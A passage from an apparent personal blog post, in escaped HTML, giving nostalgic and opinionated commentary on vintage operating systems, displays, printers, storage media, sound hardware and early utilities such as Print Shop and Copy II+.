innovations only hurt other great  innovations, and nothing hurts Microsoft...because it innovates nothing.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/VAX/VMS#Origin_and_name_changes"&gt;Vax/VMS&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I used this heavily in college. It was a pretty decent command-line OS with  a couple of powerful (but odd) scripting languages. One cool feature I  especially remember was that VMS automatically versioned your files. You could  always go back to an earlier version of any document or any file. This was an  automatic feature built-in at the OS level and completely transparent to the  user...at least until you filled up all the disk space in your user account. :)  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://docs.hp.com/en/32650-90864/index.html"&gt;HP 3000 MPE-XL&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The Operating System for the immortal &lt;a href="http://en.wikipedia.org/wiki/HP_3000"&gt;HP 3000 minicomputer.&lt;/a&gt;  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Windows_2.0"&gt;Windows 2.0&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Windows_3.0"&gt;Windows 3.0&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The early versions of Windows were especially lame, and little more than  fancy DOS utilities.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Windows_3.1"&gt;Windows 3.1&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Windows_for_Workgroups#Windows_for_Workgroups"&gt;Windows  for Workgroups 3.11&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;These were the first versions of Windows that people started to take  seriously. Microsoft leveraged their DOS Monopoly to make Windows 3.1 common  place in Corporate America...much to the dismay of Apple who had a better  Windowing OS earlier. This was a brilliant (and so probably accidental) plan on  Microsoft's part.  They built a Windowing utility to make the old DOS easier to use.  Then, once people are hooked on it and locked into it, they made it part of the Operating System so as to have inter-locking Monopolies.  Then they made the browser part of the Operating System, and so on.  &lt;br /&gt;&lt;br /&gt;Microsoft has redefined what the term "Operating System" means to encompass all kinds of software that are not OS components.&lt;br /&gt;&lt;br /&gt;Compare this with Linux where Linux is just the OS, and Desktop Managers (like Gnome and KDE) are  separate products.&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/OS/2_Warp"&gt;OS/2&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The last great challenger of the Operating System wars. It was better than  Windows 95 before Windows 95 was ever released. Of course, that doesn't matter  when you are up against Microsoft.  With the death of OS/2, it became apparent  that making a commercial Operating System that could compete with Microsoft was  impossible.  No matter how good your product is, you can't crack a monopoly.&lt;br /&gt;&lt;br /&gt;So, non-commercial products, like Linux, are now the only alternative.  See: &lt;a href="http://dogic.blogspot.com/2005/06/software-changes-everything.html"&gt;http://dogic.blogspot.com/2005/06/software-changes-everything.html&lt;/a&gt;   &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Coherent_%28operating_system%29"&gt;Coherent&lt;/a&gt;   &lt;/dt&gt;&lt;dd&gt;Coherent was the first affordable version of Unix that could run on an Intel  platform. It was famously advertised in all trade journals for $99. I bought a  copy, and I thought it was the coolest thing ever...except for the fact there  isn't much you can do with a version of Unix that nobody writes software for,  and there just wasn't enough popular Unix apps ported over to Coherent.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/IBM_AIX_%28operating_system%29"&gt;IBM  AIX&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Ah, the cutting edge of obsolete technology. This is a flavor of Unix  mangled by IBM. But since it carries the IBM name, it is popular with the  die-hard IBM shops that still use IBM mainframes and DB2.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/HP/UX"&gt;HP/UX&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;HP/UX is like a big train that has run out of fuel but is still coasting  along on its momentum. Passengers are actively flinging themselves out of the  moving cars and rather than starving to death waiting for this train to stop.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Windows_95"&gt;Windows95a, b, c&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Probably the best versions of DOS ever made.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Windows_98"&gt;Windows 98, 98SE&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;98SE was the high-point of the "Windows 4.0" line of operating systems. We  joked that "SE" stood for "Stable Edition". There were about 3 other flavors of  "Windows 98" that were all crap.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Windows_me"&gt;Windows ME&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Generally referred to as the "Money Edition". (Or more recently as "Vista  Beta"). This release of Windows had no purpose other than to get a new product  on the market to generate some more sales for Microsoft. Windows ME was a  historic disaster...for the consumer. It still made money for Microsoft because  everyone who bought a computer that year was forced to pay for a copy of ME. It  was terribly unstable, flaky, and poorly designed. Microsoft never took the  time to fix it, and users with computers running ME were effectively abandoned.  I fear the same thing will happen with Vista. People who have bought a computer  in the past two years will be stuck with an OS that nobody (including Microsoft)  wants to support.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Windows_nt"&gt;Windows NT 3.1, 4.0&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Microsoft borrowed a lot of ideas of Linux for their Windows NT kernel, and  it showed. It was fairly stable (for a Windows platform) and could do  multi-tasking reasonably well. All around, it was "Not Terrible".  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Windows_2000"&gt;Windows 2000&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was the OS that was supposed to combine Windows NT's multi-tasking  kernel with Window 98's enhanced GUI. This way there would be one unified  version of Windows instead of two. Well, that's great, but Microsoft then  proceeded to sell Windows 2000 in FOUR different flavors: Professional, Server,  Advanced Server, and Datacenter Server. Well, thanks Microsoft! :( Microsoft  benefited from a unified Windows code base, but the general public did NOT.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Windows_xp"&gt;Windows XP&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;There was a time when Windows XP was so crappy and unstable that it became  knows as "Extreme Patching" for all the constant patches you had to apply to  keep it running. However, after 4 solid years of patching, XP has finally become  pretty darn stable and reliable. And it begs the question: Why on EARTH would I  want to start all over again with buggy Vista? Take whatever cool UI features  Vista has and just add them to XP!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Redhat"&gt;RedHat Linux&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Beware an Open Source product made by a company that becomes publicly traded  and profit driven. I never know what to think about Red Hat. Sometimes they are  the good guys, and sometimes they are the bad guys. The name "Red Hat" is the  perfect name for this company, because they are half-way between white-hat and  black-hat.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Suse"&gt;SUSE Linux&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I used to love SUSE Linux until Novell bought out SUSE and then sold-out to  Microsoft.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Gentoo_Linux"&gt;Gentoo Linux&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Gentoo: Powered by your own self-satisfaction. Gentoo is a fascinating  version of Linux if you've ever wanted to see what it's like to build an entire  Linux distribution from source code. However, for people who want to get more  done in a week than just getting their computer to boot, you will want to stick  to the pre-built versions of Linux.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Ubuntu"&gt;Ubuntu&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;My first impression of Ubuntu was "Damnit, why do we need yet ANOTHER flavor  of Linux!?". But after seeing Gentoo fall out of popularity, and seeing SUSE  Linux embrace Microsoft, I begrudgingly thought "Well, alright, I guess we do  need a new torch-bearer for the Linux cause."&lt;br /&gt;&lt;br /&gt;I still think Linux would  have been far more successful if there was just ONE distro that all these  developers could pour their energy into, and just one desktop manager that  everyone would agree on. The whole point of Open Source is that independent  developers can compete with corporate developers if they all band together and  work as a team. But that never happens, and so Open Source software still  remains out on the fringe where only techies use it. Firefox was the closest  thing I've seen to a mainstream software package that even non-techies were  starting to use in great numbers. BUT now Google has come out with Chrome which  will steal more market share and more developers from Firefox than it will steal  from Microsoft.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Mac_OS_history"&gt;Macintosh Systems 1  through 9&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;For the longest time, Apple continued to serve its little niche market with  their own custom Operating Systems written from scratch...mostly in Pascal!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Mac_os_x"&gt;Mac OS/X&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;With the fall of OS/2 and the rise of Linux, I think Apple started to  realize that nobody can ever compete with Microsoft in the proprietary Operating  System market. The only way to get a good library of software written for your  computer (without using a Microsoft OS) is to embrace the Open Source community  and tap the efforts of volunteer developers. That's a good idea, but yet again  (do you sense the repeating theme of this whole blog?) the Open Source  developers fragmented as Apple chose FreeBSD over Linux. To any degree that  FreeBSD succeeds, it will take more market share from Linux than Microsoft.  &lt;/dd&gt;&lt;/dl&gt;Notably and intentionally absent from my list: Windows Vista. At best  this is another disaster like Windows ME. At worst it is a &lt;a href="http://dogic.blogspot.com/2007/02/turning-point-for-microsoft.html"&gt;serious  erosion of consumer rights&lt;/a&gt;.  &lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Display Technologies &lt;/h2&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Teleprinter"&gt;Teleprinter&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Before monitors and keyboards, you communicated with a computer (a mainframe  usually) using a one of these devices that are essentially 2-way typewriters. I  used one of these heavily for about 3 months. Teleprinters also were the  pioneering platform for &lt;a href="http://en.wikipedia.org/wiki/ASCII_art"&gt;ASCII  ART&lt;/a&gt;  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Computer_terminal"&gt;Computer  Terminals&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Before there were personal computers, there were all manner of dumb terminal  technologies that allowed many people to use a central mainframe via text-based  interfaces. These text terminals often did more than just display text. They  also responded to special escape sequences that could move the cursor and draw  special characters and even change the text color.&lt;br /&gt;&lt;br /&gt;You would think that  just one or two terminal standards would cover everything you could possibly do  with text...but nooooooo...everyone wanted some tiny little change or some new  feature, and they wrote whole new protocols to support it. There were a ton of  display standards, but the ones I remember using are: &lt;a href="http://en.wikipedia.org/wiki/IBM_3270"&gt;IBM 3270&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/VT05"&gt;VT05&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/VT52"&gt;VT-50/52&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/VT-100"&gt;VT-100&lt;/a&gt;, VT-102, &lt;a href="http://en.wikipedia.org/wiki/VT220"&gt;VT-220&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/ANSI_escape_code"&gt;ANSI&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The  command-line interface has always been the "sweet spot" for most cost-effective  and efficient human-to-computer interface. Modern graphical Operating Systems  have made computers a bit easier to use, but they are absolute beasts in terms  of system resources they consume and in terms of the decades of effort it has  taken to develop these monsters. If you want to get the most out of your  computer, the command-line still rules. :)  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Monochrome_monitor"&gt;Monochrome  Monitors&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;For the first 5 years of my computing experience, color graphics was a  luxury most people (including myself) could not afford.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Monochrome_Display_Adapter"&gt;Monochrome  Display Adapter&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The very first display adapter for the IBM PC. It had &lt;strong&gt;no graphics  capabilities at all&lt;/strong&gt;. This was exceedingly lame for 1981 when most computers had at least SOME graphics display ability.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Technology_of_television"&gt;Television  Set&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Most of the first home computers (Apple, Tandy, Commodore) were designed to  use a common television set as your display monitor. This also gave you some  limited ability to display color. But the resolution and clarity was poor,  generally leading to a maximum of 40 columns of fuzzy text across the screen.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Hercules_Graphics_Card"&gt;Hercules  Graphics&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A wildly popular video card for the early PC platform. It was a bridge  between monochrome text and CGA graphics. If you couldn't afford a color  monitor, a Hercules card would emulate CGA using shades of your monitor's 1  color. Color monitors where prohibitively expensive for the early PC's.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Color_Graphics_Adapter"&gt;CGA&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The first PC standard for computer graphics. Soon after CGA came &lt;a href="http://en.wikipedia.org/wiki/Enhanced_Graphics_Adapter"&gt;EGA&lt;/a&gt;, and then,  &lt;a href="http://en.wikipedia.org/wiki/Video_Graphics_Array"&gt;VGA&lt;/a&gt;, and then &lt;a href="http://en.wikipedia.org/wiki/SVGA"&gt;SVGA&lt;/a&gt;, and then &lt;a href="http://en.wikipedia.org/wiki/XGA"&gt;XGA&lt;/a&gt;, and by then the public was  completely confused and nobody could figure out what kind of video they had or  needed or wanted. From that point on, all PC display technologies became known  generically as "VGA", even though additional standards such as &lt;a href="http://en.wikipedia.org/wiki/SXGA"&gt;SXGA&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/UXGA"&gt;UXGA&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/QXGA"&gt;QXGA&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/WSXGA%2B"&gt;WSXGA PLUS&lt;/a&gt;, etc. kept rolling  out. Once you get to 1600x1280 at 16 million colors (which almost any new  computer can do) there's rarely any point to go higher. That's higher than HD  quality. If you have some kind of gigantic video screen, it's easier and cheaper  to handle that by using multiple video cards and/or multiple computers.  &lt;/dd&gt;&lt;/dl&gt; &lt;h2&gt;Printers &lt;/h2&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/IBM_Selectric"&gt;IBM Selectric&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Not really a printer, but later models of the IBM Selectric had a serial  port (seriously) so they could be used as a printer. This was the finest  typewriter of its day, and I used one in a typing class in High School. My  generation is probably the last to have used typewriters in school. :)  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Daisy_wheel"&gt;Daisy Wheel Printer&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;For a while, these gave dot matrix printers a run for their money, because  the text they produced was so much clearer.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Imagewriter"&gt;Apple Image Writer&lt;/a&gt;,  &lt;a href="http://en.wikipedia.org/wiki/ImageWriter_II"&gt;AppleImage Writer II&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Dot Matrix printers made by Apple. These were serious workhorses of supurb  quality and durability. Many are still in use today!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Fan-fold"&gt;Continuous Feed&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;For the first 15 years I used computers, paper was always fan-fold  continuous feed (a.k.a. tractor-feed).&lt;br /&gt;&lt;br /&gt;Paper that came in packs  individual cut sheets was lame! That was something your grandma would use for  her typewriter! If you wanted professional printouts, you could buy micro-perf  varieties of fan-fold paper that would leave a smooth edge after you remove the  tractor-feed strips.&lt;br /&gt;&lt;br /&gt;I never thought single-sheet paper would make a  comeback...but boy did it! Now it has become difficult to find fan-fold paper!&lt;br /&gt;&lt;br /&gt;As much as I like modern printers, I still miss the convenience of  having the gigantic box of fan-fold paper feeding a printer. I never had to  worry about running out of paper so long as I checked the box maybe once a  month. And actually, the overall cost was much cheaper too. One print ribbon  could be bought for 1/10th of what an modern inkjet cartridge costs, and that  print ribbon would last for thousands of pages, not just hundreds. On the Apple  Image Writer, you could always do the trick of spraying WD-40 into the ribbon  "bunching" area of the cartridge and that would extend the life of the ribbon by  another several hundred pages.&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;If it wasn't for the fact that people don't print nearly as much as they  used to, I bet dot-matrix would stage a small comeback in a bad economy.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Line_matrix_printer"&gt;Line Printer&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;We used these in college a LOT for printing out source-code listings. These  printers were like a regular dot-matrix printers, except the print head was 15  inches wide and could print an entire line at once (on wide green-bar paper).  The noise level was extreme, so these printers had to have heavy sound  shielding.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Apple_Scribe_Printer"&gt;Apple Scribe&lt;/a&gt;   &lt;/dt&gt;&lt;dd&gt;A dot-matrix printer that didn't use ink, but instead printed on thermal  paper. Perhaps this was a good idea for cash registers, but not for everyday  business use. The paper smelled funny, and if the paper got hot it turned black.   &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/LaserJet"&gt;HP Laser Printer&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Laser Jets have dominated the business market since the early 90's. They  cost less to operate (in the long run) than inkjet printers. For the first  several years, HP ruled the market place. If you wanted a Laser printer, the  only question was whether you wanted the HP LaserJet II or HP LaserJet III. Now  laser printers are such a commodity that nobody really notices what brand  they are. &lt;/dd&gt;&lt;/dl&gt; &lt;h2&gt;Storage Media &lt;/h2&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Datasette"&gt;Cassette Tape&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The first personal computers (including my first computer) could use a  simple tape recorder for loading and storing programs. This was unreliable and  slow. Trying to store data on a cassette tape was more of a hobby than a  legitimate way to store information.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Floppy_disk"&gt;Floppy Drive&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This is the invention that really MADE the personal computer. Computers just  weren't very useful unless they could STORE things, and the floppy drive made  that possible. My favorite drive of all time is the original Apple &lt;a href="http://en.wikipedia.org/wiki/Disk_II"&gt;Disk ][&lt;/a&gt;. I have many of these  drives that are over 30 years old, and they still run perfectly.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Corvus_%28company%29"&gt;Corvus Drives&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;One of the early hard drive makers for personal computers. They generally  came in 5 Meg and 10 Meg models, and cost around $4000 in 1980 money. (ouch!)  Corvus also "pioneered" the technology of making hard drive backups to VHS tape.  That never really caught on...partly because people don't want to keep their  computer near their television set. Many technologies and died trying to bridge  the gap between T.V. and Computer.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.apple2.org.za/gswv/USA2WUG/FOUNDING.MEMBERS/HOME.PAGES/EDHEL/sider/"&gt;Sider&lt;/a&gt;   &lt;/dt&gt;&lt;dd&gt;5Meg or 10Meg Drive (5.25" drive). This was the first practical and  affordable hard drive for the Apple. It was a fraction of the cost of a Corvus  drive. I had the 10 Megabyte drive. It operated at about 800 RPM (no that's not  missing a zero), but this did not limit the speed of the Sider nearly as much as  the fast that the Apple was only a 1Mhz computer. The Sider was, at best, 2  times faster than a floppy drive. But this was still a highly coveted piece of  technology as Apple software quickly crossed the 140k floppy barrier. The think  I remember most about the Sider was the noises it made. Modern hard-drives buzz  and rattle because they move so quickly. The Sider moved so slowly that it would  chirp and "thweep" and "woop" and make almost musical noises.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Bernoulli_drive"&gt;Bernoulli Box&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Very expensive predecessor to the Zip Drive  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Zip_drive"&gt;Zip Drives&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This is the last dying gasp of the magnetic floppy disk drive. It was fairly  popular in the late 90's, but has ultimately replaced by optical drives and  flash drives. The Zip disks did not have a stellar reliability record. They were  know for dying with a noise that was dubbed &lt;a href="http://en.wikipedia.org/wiki/Click_of_death"&gt;The Click of Death&lt;/a&gt;  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Jaz_drive"&gt;Jaz Drives&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Similar to the Zip drive, only the Jaz drive was an actual hard-drive that  had an ejectable platter. This sounded like a great idea...until everyone  eventually remembered WHY hard drive platters have to be kept sealed. Hard drive  platters are extremely sensitive to dust and humidity and static. Jaz disks had  short life-spans and were unreliable.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Tape_drive"&gt;Tape Drive Tapes&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;At some point in my life, I have owned &lt;a href="http://en.wikipedia.org/wiki/Travan"&gt;Travan&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Quarter_inch_cartridge"&gt;QIC&lt;/a&gt;, and &lt;a href="http://en.wikipedia.org/wiki/Iomega_Ditto_drive"&gt;Ditto&lt;/a&gt; tape drives. In  my head, I can still clearly hear the noise back-and-forth whirring  (WEEEEEE-heeeee-WEEEEEEE-heeeee) of these slow and marginally reliable devices.  Tape Drives died off very quickly once hard drives started to become too big to  backup on any kind of low cost tape mechanism. If you want to backup your drives  today, you are pretty much limited to either burning a tall stack of DVD's or  buying another hard drive for backup storage. &lt;/dd&gt;&lt;/dl&gt; &lt;h2&gt;Audio Devices &lt;/h2&gt; &lt;dl&gt;&lt;dt&gt;&lt;strong&gt;1 bit speaker&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;The Apple ][ had 1-bit sound. You accessed a memory location that caused the  speaker to "click", and if you clicked fast enough you could generate a buzz or  a tone. If you clicked in complex patterns you could generate sound effects.  There was no volume control. The speaker was just permanently loud. Early  computers also had no separate processor for sound, so the CPU had to manage the  sound of a game while also managing the animation and inputs.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Mockingboard"&gt;4 voice Mockingboard&lt;/a&gt;   &lt;/dt&gt;&lt;dd&gt;The first real sound card for the Apple II. I think the success of the Apple  II is due in large part to its expandability. The graphics and sound of the  Apple II were awful, but you could always buy sound card and video card  upgrades, much like a modern PC. Other early computers had little to no hardware  expandability, and generally used hacks and kluges to attach new hardware  through the system game ports.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Applied_Engineering"&gt;Applied  Engineering Phasor Sound Card&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;I had one of these for my Apple ][. All I really remember about it is that  the demo program played an impressive 16-voice version of &lt;a href="http://www.youtube.com/watch?v=icMTVV5Lwaw"&gt;Foggy Mountain Breakdown&lt;/a&gt;.  (Yes, that is Steve Martin on the 2nd banjo)  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Sound_blaster"&gt;Sound Blaster&lt;/a&gt;16-bit   &lt;/dt&gt;&lt;dd&gt;For nearly two decades, the audio capabilities of a computer were a serious  factor to be considered when buying a computer. Companies like Creative Labs  made a great business out of developing expansion cards for PCs that could  produce better and better quality sound. But eventually Creative Labs hit their  limit with the &lt;a href="http://en.wikipedia.org/wiki/Sound_Blaster"&gt;Sound  Blaster 32-bit/Sound Blaster Live&lt;/a&gt;. These cards could produce CD-quality  sound or better, so there were no more upgrades possible. Eventually the  hardware for making 32-bit sound became a commodity, and everyone stopped caring  about sound cards. Only audiophiles and people running high-end audio processing  applications pay attention to PC sound hardware anymore. Everyone else just  looks for the green, pink, and blue audio jacks. =)  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Electromagnetic_radiation"&gt;Electromagnetic  radiation&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The strangest sound system of all time has to go to the PDP-8. The  PDP-8 had no sound system at all. However, the PDP-8 did emit a huge amount EM  radiation. It would never pass FCC standards today. If you tried to listen to an  AM radio anywhere near a PDP-8, your radio station would be drowned out by all the  static and electronic chatter generated by the PDP-8.&lt;br /&gt;&lt;br /&gt;Well, someone  noticed that certain operations on the PDP-8 would produce bursts of noise that  sounded somewhat like a fuzzy tone.  If you altered the operations of the  CPU, you could vary pitch of the tone. Using this technique, music programs were  written for the PDP-8 that would play songs over your AM radio by having the  PDP-8 execute loops of instructions that generated "tones" of EM radiation. Here  are a couple of YouTube videos demonstrating the PDP-8's music ability. They  have to be seen to be believed: &lt;a href="http://www.youtube.com/watch?v=akvSE5Z474c"&gt;A PDP-8/e&lt;/a&gt; - This includes  a demonstration of a teleprinter. Also notice that the circuit breaker trips the  first time this guy tries to turn the computer on. :) &lt;a href="http://www.youtube.com/watch?v=uhkv5oHHHY8"&gt;A PDP-8L&lt;/a&gt; - This video is  in German, but you can kinda understand what they are saying. It's also a good  demo of the PDP paper-tape drive. The PDP-8 was a little before my time, but I  have personally used a PDP-8...for about 30 minutes.  That was enough to get me hooked on this absolutely fascinating machine.&lt;/dd&gt;&lt;/dl&gt; &lt;h2&gt;Misc. &lt;/h2&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Demoscene"&gt;Demoscene&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The demoscene was one aspect of the 1980's revolution in individual  technical achievement. These were the days when two guys in a garage could  invent a new computer, or one programmer could write a video game that became an  international hit. The demoscene arose out of friendly competitions between  small groups of programmers to see who could make the coolest and most artistic  demos by pushing the sound and graphics of their chosen platform to the limit.  Today, there's almost nothing impressive you can do with a computer that  wouldn't require an army of software developers and artists to accomplish...and  so the demoscene is dead. Likewise I doubt anyone will ever invent a new  computer in their garage again.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Personal_digital_assistant"&gt;PDAs&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;Between 1996 and 2001, I went through a "PDA phase" where I bought about 5  different PDAs before finally realizing they weren't useful. I've owned several  models of &lt;a href="http://en.wikipedia.org/wiki/Palm_pilot"&gt;Palm Pilot&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Ipaq"&gt;IPaq&lt;/a&gt;, and &lt;a href="http://en.wikipedia.org/wiki/CLI%C3%89"&gt;CLIE&lt;/a&gt;. They are all collecting  dust now. I eventually decided that I was not about to store important data on a  device that could easily be broken or stolen or lost. Backup software for the  PDA was awful and impractical, and the applications were always highly  proprietary which make it impossible to move your important data to another  application or any other brand of PDA.&lt;br /&gt;&lt;br /&gt;As a standalone device, the PDA  just wasn't that practical until they finally started having live internet  access as a feature. In theory, you should be able to access your data (phone  numbers, address, passwords, etc.) from a secure internet server instead of  trying to pull it up from the PDA using some crappy proprietary PDA application.  By keeping your data on the internet, that also allows you to access your data  from any PDA, smartphone, or desktop PC that has a browser. Your data is not  dependent on any device, and cannot be stolen or lost. Your data can be exported  in XML or text for portability.&lt;br /&gt;&lt;br /&gt;However, this is all theory, because I  have not yet found an online internet database that is free, trustworthy, easy  to use, and usable on a tiny screen. So I wrote my own. It's a regular Java Web  Application that stores all my data on an Apple ][. (Seriously.) The Java Web  Application make a connection over an RS-232 port to a Web Service (written in  Assembly) running on an Apple ][. So I essentially have an Apple ][ 5.25" floppy  disk that I can access from the internet. :) &lt;/dd&gt;&lt;/dl&gt; &lt;h2&gt;Legendary Utilities &lt;/h2&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/The_Print_Shop"&gt;The Print Shop&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;In its day, Print Shop was da bomb!! It was the "must have" program if you  owned a printer. People who never considered buying a computer bought one just  to have Print Shop. It allowed you to combine text and graphics with various  pre-fab templates. It also came with a library of pre-made graphics, and it  could print big banners on your fan-fold paper. Print Shop is still sold by &lt;a href="http://en.wikipedia.org/wiki/Broderbund"&gt;Broderbund&lt;/a&gt;. It's now on  version 22 (I kid you not). But it's not such a popular program anymore. People  found other ways to do fonts and graphics...and nobody uses fanfold paper  anymore, so banners are a hassle.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.textfiles.com/apple/DOCUMENTATION/ddd.1.0"&gt;Dalton's Disk  Disintegrator&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was one of several disk-splitting utilities that allowed you to split  the contents of a disk into a few large binary files (complete with CRC-32  checks). This was useful for uploading software to pirate sites. :)  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.virtualapple.org/copyiiplusv9.1disk.html"&gt;Copy II+&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Operating systems on early computers were super-primitive, and didn't offer  easy ways to mass copy files between disks, or copy a whole disk, or browse the  contents of text files, or compare files, etc. The command-lines of early  computers were a joke. (The command-line for Windows still IS a joke.) So a cottage  industry of utility software for file management was born.  &lt;/dd&gt;&lt;dt&gt;&lt;a 